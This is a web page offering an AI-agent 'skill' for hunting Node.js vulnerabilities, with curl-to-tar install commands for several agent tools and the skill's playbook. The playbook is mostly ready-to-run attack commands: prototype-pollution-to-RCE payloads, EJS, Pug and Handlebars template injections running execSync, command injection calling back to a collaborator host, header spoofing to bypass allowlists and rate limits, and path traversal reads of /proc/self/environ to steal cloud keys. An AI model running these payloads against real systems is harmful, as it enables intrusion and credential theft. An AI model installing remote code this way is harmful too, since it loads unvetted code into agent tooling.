hunt-nodejs – Coding skill for AI agents
Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when
Install the hunt-nodejs skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nodejs-9f919.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-nodejs – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nodejs-9f919.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-nodejs – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nodejs-9f919.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-nodejs – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nodejs-9f919.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-nodejs – then describe the task you want done.
SKILL.md content
HUNT-NODEJS — Node.js Specific Vulnerabilities
Crown Jewel Targets
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
- Prototype Pollution → RCE —
__proto__injection vialodash.merge/Object.assign→ polluted prototype reacheschild_process.execorvm.runInNewContextsink - Express trust proxy —
app.set('trust proxy', true)without validation → attacker setsX-Forwarded-Forto bypass IP allowlists or rate limits - EJS/Pug SSTI — template engine receives user input →
{{= process.mainModule.require('child_process').execSync('id') }} child_processinjection — user input interpolated into shell command string → OS command injectionrequire()path traversal — attacker-controlled module path → load arbitrary file as JS
---
Attack Surface Signals
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate---
Phase 1 — Fingerprint
# Confirm Node.js/Express
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package-lock.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"---
Phase 2 — Prototype Pollution Detection
# JSON body injection — test if __proto__ is accepted
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"---
Phase 3 — Prototype Pollution → RCE Chain
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback---
Phase 4 — Express Trust Proxy Abuse
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"[email protected]","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done---
Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= 7*7 %>"}'
# EJS RCE payload
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
# Pug SSTI
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
# Handlebars — prototype pollution via template
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'---
Phase 6 — child_process Command Injection
# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
# Basic injection test
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/exec \
-H "Content-Type: application/json" \
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
# OOB via DNS
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"---
Phase 7 — /proc/self/environ Exfil
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/environ"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
# Also check:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command-line
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory---
Chain Table
| Node.js finding | Chain to | Impact |
|----------------|----------|--------|
| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
| SSTI in template engine | OS command execution | Critical RCE |
| child_process injection | id && curl COLLAB_HOST | Critical RCE |
| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
---
Validation
✅ Prototype pollution: key appears in subsequent API responses without being sent
✅ RCE chain: OOB callback received OR id output in response
✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
Severity:
- Prototype pollution → RCE: Critical
- SSTI → RCE: Critical
- child_process injection: Critical
- Trust proxy → rate limit bypass: Medium
- /proc/self/environ exfil: High (if cloud keys present)
Verification
Run this self-test to confirm nodejs hunting readiness:
1. Skill integrity — confirm the skill file is readable and well-formed:
grep -q "name: hunt-nodejs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
2. Category check — confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
3. Pitfalls section — confirm pitfalls a
… (full content is in the download package)
Related skills
- google-workspace – Gmail, Calendar, Drive, Docs, Sheets via gws CLI or Python.
- azure-ai-vision-imageanalysis-java – Build image analysis applications with Azure AI Vision SDK for Java. Use when…
- azure-ai-voicelive-java – Azure AI VoiceLive SDK for Java. Real-time bidirectional voice conversations with AI…
- langchain-architecture – Design LLM applications using LangChain 1.x and LangGraph for agents, memory, and tool…
- grok – Delegate coding to xAI Grok Build CLI (features, PRs).
- azure-appconfiguration-java – Azure App Configuration SDK for Java. Centralized application configuration management…
- azure-communication-callingserver-java – ⚠️ DEPRECATED: This SDK has been renamed to Call Automation. For new projects, use…
- llm-evaluation – Implement comprehensive evaluation strategies for LLM applications using automated…